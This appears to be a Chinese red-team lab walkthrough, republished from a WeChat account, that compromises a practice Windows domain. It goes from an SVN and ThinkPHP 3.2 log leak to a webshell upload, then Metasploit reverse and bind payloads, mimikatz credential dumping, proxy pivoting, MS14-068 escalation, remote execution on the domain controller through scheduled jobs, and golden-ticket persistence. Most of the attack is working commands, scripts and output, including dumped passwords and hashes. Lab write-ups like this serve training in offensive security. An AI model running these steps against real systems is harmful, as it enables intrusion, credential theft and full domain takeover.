前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >从外网Thinkphp3日志泄露到杀入内网域控 - 红队攻击之域内靶机渗透实战演练

从外网Thinkphp3日志泄露到杀入内网域控 - 红队攻击之域内靶机渗透实战演练

作者头像
渗透攻击红队
发布2020-11-25 10:47:35
7.5K0
发布2020-11-25 10:47:35
举报
文章被收录于专栏:漏洞知识库漏洞知识库

环境

DC域控:10.10.10.149

WEB:192.168.2.27(外网)、10.10.10.150(内网)

Kali:192.168.2.28

本文知识点:

svn源码泄露

thinkphp3日志泄露

贷款后台getshell

msf下的内网渗透

ms16-048提权到域控

黄金票据

主机发现

信息搜集

首先使用nbtscan对内网进行扫描,发现靶机ip为192.168.2.27:

代码语言:javascript
复制
nbtscan -r 192.168.2.4/24

之后对靶机进行端口扫描:

代码语言:javascript
复制
nmap -A 1-65535 -sV 192.168.2.27
代码语言:javascript
复制

由上图可知,目标开放了80端口,其中用的是phpstudy搭建的网站,用ip打开发现是一个403:

那么对其扫描目录看看有没有敏感文件:

代码语言:javascript
复制
dirb http://192.168.2.27/

并没有扫描到可利用的文件,估计是字典问题。

由于上面扫描结果发现目标有一个域名:webhack123.com,我们访问其看发现是一个贷款网站:

使用whatweb查看网站信息:发现是ThinkPHP框架:

之后继续进行目录扫描:

代码语言:javascript
复制
dirb http://www.webhack123.com

发现一个 svn 目录,有可能是 svn 文件泄露!


svn 文件泄露漏洞

之后使用 github 上的利用工具进行利用:https://github.com/admintony/svnExploit

代码语言:javascript
复制
python SvnExploit.py -u http://www.webhack123.com/.svn

下载目标源码:

代码语言:javascript
复制
python SvnExploit.py -u http://www.webhack123.com/.svn --dump

其中发现一个wc.db数据库文件:

那么我们就可以打开这个文件查看数据库:里面有网站文件

代码语言:javascript
复制
sqlitebrowser wc.db

看着目录结构应该是tp低版本的,反正不可能是tp5:

其中发现有很多日志文件:


thinkphp3.2日志泄露漏洞

由于是tp低版本的,我在网上找到了一个日志泄露漏洞:https://blog.csdn.net/Fly_hps/article/details/84994290

发现当前的tp版本是:tp3.2

代码语言:javascript
复制
THINKPHP3.2 结构:Application\Runtime\Logs\Home\16_09_09.log
THINKPHP3.1结构:Runtime\Logs\Home\16_09_09.log

由于这个版本的thinkphp的错误日志里会显示出数据库的sql执行信息,而我们要找的是数据库密码、网站后台登陆密码,这样才能对我们有利用价值,而且我们看日志只需要看最新的日志,因为考虑到目标可能更改了密码,而最新的密码是不会更改的!

其中最新的日志是App/Runtime/Logs/19_03_18.log:

通过crlt+f快速锁定password,得到一些账号和密码哈希值:

代码语言:javascript
复制
admin            10470c3b4b1fed12c3baac014be15fac67c6e815
18888888888      10470c3b4b1fed12c3baac014be15fac67c6e815

解密之后得到明文为:123456

既然拿到管理员后台账号密码了,我们就去找后台地址吧!


后台查找

一般来说我们找网站后台无非几种方法:

  • 目录查找:一般的目录是 /admin,/login ...
  • 子域名查找:admin.saulgoodman.cn,user.saulgoodman.cn ...
  • Host碰撞子域名:这种不常见,渗透过程中需要绑定hosts才能访问的弱主机或内部系统(适用于靶场、CTF)

因为之前我们对他进行目录扫描了,没有找到后台地址,那么还有子域名和Host碰撞子域名。

而子域名的话由于是靶场,一般来说没得,只能通过ip碰撞的形式,就是下面的方法。

所以我们采用第三种方式:ip-host碰撞查找子域名

Host_Ip碰撞工具:https://github.com/fofapro/Hosts_scan

host.txt里填写的是要碰撞的子域名:webhack123.com,admin... 可以自行添加字典!

ip.txt里填写的是目标的ip:192.168.2.27

代码语言:javascript
复制
python IP_hosts_scan_multithreading.py

运行完后,能访问到的子域名会在本地的host_ok.txt保存:

可以看到上图,只有admin.webhack123.com的子域名是200状态码,那么我们修改一下我们的hosts文件才可以访问:

代码语言:javascript
复制
vi /etc/hosts

这个时候就能访问:admin.webhack123.com

这个时候通过之前拿到的后台密码发现登陆失败:

有两种情况:

  • 目标密码根本不是我们之前获取到的密码
  • 日志不是2020年的导致我们获取到的密码不对

回炉再造之峰回路转重新查找目标日志,由于之前我找到的是19年的日志,密码不对,因此我们写一个python脚本来锁定20年的日志:

代码语言:javascript
复制
#coding:utf-8
import requests
url ="http://www.webhack123.com/App/Runtime/Logs"
def add_urls(patch,y):
    urls=[]
    for i in range(1,7):
        for j in range(1,32):
            if i<10:
                if j<10:
                    urls.append(patch+"/%s_0%s_0%s.log" %(y,i,j))
                else:
                    urls.append(patch+"/%s_0%s_%s.log" %(y,i,j))
            else:
                if j<10:
                    urls.append(patch+"/%s_%s_0%s.log" %(y,i,j))
                else:
                    urls.append(patch+"/%s_%s_%s.log" %(y,i,j))
    return urls


urls = add_urls(url,"20")

for i in urls:
    req=requests.get(i)
    if req.status_code==200:
        print(i)
        html = req.text
        with open("webhack123.txt",'a',encoding='utf-8') as f:
            f.write(html)

之后使用python3运行脚本:

代码语言:javascript
复制
python3 tp.py

通过锁定sql日志最后一次的password记录,发现哈希为:74c774ef39b5b977c1fd59dbfc73c3e380a65aa3

解密发现密码为:web123

这个时候就使用账号密码:admin、web123 登陆成功!


贷款网站后台getshell

进入后台后我发现一个可以修改上传后缀的点,直接修改php为允许上传:

之后通过网站logo处上传php大马成功getshell:

木马地址:http://admin.webhack123.com/Public/Upload/20201115/7258eb2e86878d1ea633865934c6a2ba.php


Metasploit 进行内网渗透

既然拿到shell了,我们通过查看whoami发现我们是一个管理员权限:

不管了,先用cobaltstrike让目标上线吧,上线之前先看看目标机器上有没有AV,有的话我们还需要做一下免杀:

代码语言:javascript
复制
tasklist /v

查看进程发现没有AV,这个时候就可以直接用MSF反弹一个shell:

代码语言:javascript
复制
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.28 lport=5555 -f exe>5555.exe

之后设置MSF监听,然后运行木马上线:

代码语言:javascript
复制
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.2.28
set lport 5555
run

之后使用MSF自带的模块进行进程迁移到system的进程:

这个时候尝试抓目标系统上的密码,我使用的是MSF自带的mimikatz模块:

代码语言:javascript
复制
#  加载mimikatz模块
load mimikatz
# 抓取密码
wdigest

抓到了administrator的密码为:!@#Qwe456,而且目标看上去是一个域环境。

代码语言:javascript
复制
meterpreter > wdigest 
[+] Running as SYSTEM
[*] Retrieving wdigest credentials
wdigest credentials
===================

AuthID    Package    Domain        User           Password
------    -------    ------        ----           --------
0;47706   NTLM                                    
0;997     Negotiate  NT AUTHORITY  LOCAL SERVICE  
0;423161  NTLM       WEB           Administrator  !@#Qwe456
0;996     Negotiate  HACKBOX       WEB$           fd 98 a6 6e 20 e3 7b c1 4d 89 89 44 ac 7d 5e eb e5 e4 05 66 32 4d 9d 18 4e 8d 20 b1 ee 19 31 27 88 ec 81 a4 c1 d7 09 81 8d 49 e2 53 28 fd 98 5b 0a 84 49 b2 12 8c fd e1 f3 be 44 d4 f6 fc 20 54 b4 2b 85 6a 04 6f 5b d4 30 3d 03 b8 bc 84 9e c0 0c 3a 0f fa 9d 13 22 df 80 23 67 72 04 5e be 7c a7 f7 84 f1 eb 3f 5e 0f 85 23 7f 20 24 89 fe 2f 73 08 ee b6 e7 50 f7 e2 d5 19 4b 36 2b 73 90 da d1 c3 e7 a7 c4 32 e6 1b d4 7c e2 de 46 35 2d ff f7 d0 53 0d 38 76 4a a7 98 7b 95 a4 1e 72 7c ad b3 d6 fc 81 f0 af 7f 43 e7 38 58 fc 5b a1 2a 67 65 aa 09 f2 ff 2d 46 a6 6b 51 1a 25 58 77 d1 bc 75 6c 12 94 10 34 57 b7 5b 02 e6 cb 1c 7b e4 a1 ee cf 91 0c 7c 81 53 74 5e e4 8e 5f 11 be 72 e0 77 42 c3 73 08 af d2 fe 17 18 4a 29 24 bd 4a 86
0;999     Negotiate  HACKBOX       WEB$           fd 98 a6 6e 20 e3 7b c1 4d 89 89 44 ac 7d 5e eb e5 e4 05 66 32 4d 9d 18 4e 8d 20 b1 ee 19 31 27 88 ec 81 a4 c1 d7 09 81 8d 49 e2 53 28 fd 98 5b 0a 84 49 b2 12 8c fd e1 f3 be 44 d4 f6 fc 20 54 b4 2b 85 6a 04 6f 5b d4 30 3d 03 b8 bc 84 9e c0 0c 3a 0f fa 9d 13 22 df 80 23 67 72 04 5e be 7c a7 f7 84 f1 eb 3f 5e 0f 85 23 7f 20 24 89 fe 2f 73 08 ee b6 e7 50 f7 e2 d5 19 4b 36 2b 73 90 da d1 c3 e7 a7 c4 32 e6 1b d4 7c e2 de 46 35 2d ff f7 d0 53 0d 38 76 4a a7 98 7b 95 a4 1e 72 7c ad b3 d6 fc 81 f0 af 7f 43 e7 38 58 fc 5b a1 2a 67 65 aa 09 f2 ff 2d 46 a6 6b 51 1a 25 58 77 d1 bc 75 6c 12 94 10 34 57 b7 5b 02 e6 cb 1c 7b e4 a1 ee cf 91 0c 7c 81 53 74 5e e4 8e 5f 11 be 72 e0 77 42 c3 73 08 af d2 fe 17 18 4a 29 24 bd 4a 86

meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============

AuthID    Package    Domain        User           Password
------    -------    ------        ----           --------
0;996     Negotiate  HACKBOX       WEB$           lm{ 00000000000000000000000000000000 }, ntlm{ 9c85552a37071a3d5cb1323478044b0d }
0;47706   NTLM                                    lm{ 00000000000000000000000000000000 }, ntlm{ 9c85552a37071a3d5cb1323478044b0d }
0;423161  NTLM       WEB           Administrator  lm{ c6125126643bbe191e929ffc01395127 }, ntlm{ 086a0bb1ed4ec72250760ea531bf8074 }
0;997     Negotiate  NT AUTHORITY  LOCAL SERVICE  n.s. (Credentials KO)
0;999     Negotiate  HACKBOX       WEB$           n.s. (Credentials KO

为了验证一下我们查看一下目标:ipconfig /all,发现目标是存在域环境的,主机名是:web,域是:hackbox.com,并且目标是有双网卡,有一个内网网卡,内网ip为:10.10.10.150,其中dns服务器是:10.10.10.149

一般情况下,域控制器的ip地址就是dns服务器ip,10.10.10.149这个ip有可能是域控制器的ip!

如果不是的话,我们还可以通过MSF的模块来搜集域内信息:

代码语言:javascript
复制
# 查看是不是域环境
run post/windows/gather/enum_domain

当前的域是:hackbox,dc(域控制器)的ip为 69.172.201.153,这个ip是一个外网ip,由于是靶机的情况下,他找不到内网ip,就只能找外网的了,我们不用管。

通过域内信息搜集,发现hackbox域内只有两个主机:dc、web,而web是当前我们拿到权限的的主机:10.10.10.150,而dc应该就是:10.10.10.149:net view /domain:hackbox

这个时候ping一下dc就直接确定了dc的ip为:10.10.10.149:

之后我们需要做域内渗透,由于我们kali不能直接访问目标的内网,那么我们就需要做一层路由代理,才能对目标内网进行渗透!

添加路由:

代码语言:javascript
复制
run autoroute -s 10.10.10.0/24

然后进行socks代理:

代码语言:javascript
复制
use auxiliary/server/socks4a

再设置 proxychains:

代码语言:javascript
复制
vi /etc/proxychains.conf

这样就能对它内网进行渗透了,在使用工具的时候,命令前面加一个:proxychains

PS:proxychains不支持udp和icmp协议,因此我们需要对目标进行tcp扫描!

对域控进行端口扫描:

代码语言:javascript
复制
proxychains nmap -sT -Pn 10.10.10.149

发现目标开启了445端口,看看有没有ms17010:

代码语言:javascript
复制
auxiliary/scanner/smb/smb_ms17_010
set rhosts 10.10.10.149
run

发现目标存在永恒之蓝!

随其进行ms17010漏洞利用:(由于目标是内网,不能出网,我们只能设置正向的payload,类似于cs的中转上线)

代码语言:javascript
复制
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 10.10.10.149
set payload windows/meterpreter/bind_tcp
exploit

但是利用失败了:(ms17017有的时候就有点玄学)

这个时候我们可以尝试kerberos域用户提取的漏洞:ms14-068,他能够将域内任意用户提取到域管理员!

关于这个漏洞大家可以去我公众号:渗透攻击红队查看相关文章,我之前有写过!


Ms14-068 提权到域控

由于之前我们获取到了web的密码为:!@#Qwe456,然后尝试进行远程桌面登陆域用户:发现登陆失败,域用户web应该是没有远程桌面的权限的

但是我们可以通过登陆它的工作组:

代码语言:javascript
复制
.\administrator
!@#Qwe456

那么我们之间吧ms14-068.exe上传到目标web的主机上:

代码语言:javascript
复制
upload /root/ms14-068.exe C:/phpstudy_pro/WWW/www.webhack123.com/ms14-068.exe

然后切换到ms14-068.exe那个文件的目录下:

代码语言:javascript
复制
cd C:\phpstudy_pro\WWW\www.webhack123.com\
chcp 65001  #  设置一下字符编码

由于使用ms14-068需要一个域用户的账号密码,和域用户的sid,以及域控的ip,而我们没有sid,那么我们需要使用msf查看域用户web的sid:

代码语言:javascript
复制
run post/windows/gather/enum_logged_on_users
代码语言:javascript
复制
Recently Logged Users
=====================

 SID                                            Profile Path
 ---                                            ------------
 S-1-5-18                                       %systemroot%\system32\config\systemprofile
 S-1-5-19                                       C:\Windows\ServiceProfiles\LocalService
 S-1-5-20                                       C:\Windows\ServiceProfiles\NetworkService
 S-1-5-21-1443003717-4130318662-4279967973-500  C:\Users\Administrator
 S-1-5-21-2005268815-658469957-1189185684-1103  C:\Users\web
 S-1-5-21-2005268815-658469957-1189185684-500   C:\Users\Administrator.HACKBOX

之后就可以使用ms14-068进行攻击了:

代码语言:javascript
复制
user:hackbox\web
pass:!@#Qwe456
sid:S-1-5-21-2005268815-658469957-1189185684-1103
命令如下:
ms14-068.exe -u web@hackbox.com -p !@#Qwe456 -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149

生成的票据为:TGT_web@hackbox.com.ccache。

之后就可以使用mimikatz进行攻击了,由于msf下的mimikatz是阉割版,功能只有几个:

所以我们需要上传一个mimikatz到目标机器上进行攻击:

代码语言:javascript
复制
upload /root/mimikatz.exe C:/phpstudy_pro/WWW/www.webhack123.com/
upload /root/mimidrv.sys C:/phpstudy_pro/WWW/www.webhack123.com/
upload /root/mimilib.dll C:/phpstudy_pro/WWW/www.webhack123.com/

之后进入到mimikatz的目录进行攻击:

代码语言:javascript
复制
mimikatz.exe
# 清楚目标内存中的所有票据
kerberos::purge
代码语言:javascript
复制
# 将票据注入到目标内存
kerberos::ptc TGT_web@hackbox.com.ccache
# 查看当前票据
kerberos::list

PS:这个票据只能用7天,之后就不能使用了!

这个时候,我们就可以通过dir命令查看到目标域控的文件了:

代码语言:javascript
复制
dir \\dc\c$

最后可以使用定时任务让目标dc上线到msf,而我们要生成一个木马让目标上线,注意这里生成的木马需要是正向的,不然目标上线不了:

代码语言:javascript
复制
msfvenom -p windows/meterpreter/bind_tcp lport=10000 -f exe >10000.exe

然后吧10000.exe先上传到web主机上,之后再上传到目标dc机器上:

代码语言:javascript
复制
upload /root/10000.exe C:/phpstudy_pro/WWW/www.webhack123.com/

接下来使用copy命令吧4567.exe上传到dc的c盘下:

代码语言:javascript
复制
copy 10000.exe \\dc\c$\10000.exe

由于我们使用的是at定时任务让dc执行,那么我们需要知道目标系统的时间:

代码语言:javascript
复制
net time \\dc

那么我们让他创建一个定时任务:

代码语言:javascript
复制
#  让dc再4.35的时候执行c盘下的10000.exe
at \\dc 16:47 c:/10000.exe

最后使用MSF设置监听等待上线:

代码语言:javascript
复制
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set lport 10000
set rhost 10.10.10.149
exploit

上线成功,我们先迁移进程到服务:(维持权限)

之后使用模块抓取dc的密码hash:

代码语言:javascript
复制
meterpreter > run post/windows/gather/smart_hashdump 

[*] Running module against DC
[*] Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password file format to:
[*] /root/.msf4/loot/20201115171547_default_10.10.10.149_windows.hashes_505928.txt
[+]     This host is a Domain Controller!
[*] Dumping password hashes...
[+]     Administrator:500:aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7
[+]     krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6f60ace6accbcb76078ccc0312174e98
[+]     web:1103:aad3b435b51404eeaad3b435b51404ee:086a0bb1ed4ec72250760ea531bf8074
[+]     DC$:1000:aad3b435b51404eeaad3b435b51404ee:b5687482bfafb113dc345bb46ef81d69
[+]     WEB$:1104:aad3b435b51404eeaad3b435b51404ee:9c85552a37071a3d5cb1323478044b0d

加载mimikatz抓取域控明文密码:

代码语言:javascript
复制
wdigest

密码是:Admin12345,到这一步我们的渗透已经完成%99了!

只要我们愿意,我们就可以登陆它的远程桌面(一般别用,你们懂的)


结尾 - 黄金票据

最后如果对方改密码了,我们可以通过创建一个黄金票据来进行权限维持:

我们先回到web的session,然后加载mimikatz和kimi吧web内存中的票据清除:

代码语言:javascript
复制
load mimikatz
load kiwi
kerberos_ticket_purge

这样就不能访问到目标dc了!

黄金票据需要获取域名称、域的sid、域控的Krbtgt账号的密码hash值,任意域用户!

代码语言:javascript
复制
wmic useraccount where name="krbtgt" get sid
S-1-5-21-2005268815-658469957-1189185684-502

还有一种方法获取sid:

代码语言:javascript
复制
meterpreter > dcsync_ntlm krbtgt
[+] Account   : krbtgt
[+] NTLM Hash : 6f60ace6accbcb76078ccc0312174e98
[+] LM Hash   : 36588bd35fd1fe85ec5fd73a1ca6805b
[+] SID       : S-1-5-21-2005268815-658469957-1189185684-502
[+] RID       : 502

由于我们是系统权限,我们需要切换到域管到权限才能执行下面的命令:

之后就可以制作黄金票据了:

代码语言:javascript
复制
域名:hackbox.com
域用户:web
krbtgt的sid:S-1-5-21-2005268815-658469957-1189185684-502
krbtgt的ntlm-hash:6f60ace6accbcb76078ccc0312174e98

使用命令导出票据:

代码语言:javascript
复制
golden_ticket_create -d hackbox.com -u web -s S-1-5-21-2005268815-658469957-1189185684 -k 6f60ace6accbcb76078ccc0312174e98 -t /root/krbtgt.ticket
-k  ntlm-hash
-s  krbtgt的sid
-t  导出票据的目录
 sid后面的502不需要写在命令里

拿到票据之后我们先切换到web的session,可以看到我们现在是无法访问到dc的:

我们接下来就可以导入黄金票据:

代码语言:javascript
复制
kerberos_ticket_use /root/krbtgt.ticket

这个时候我们就可以一直访问得到dc了:

最终在域控下拿到了flag:


本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-11-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透攻击红队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档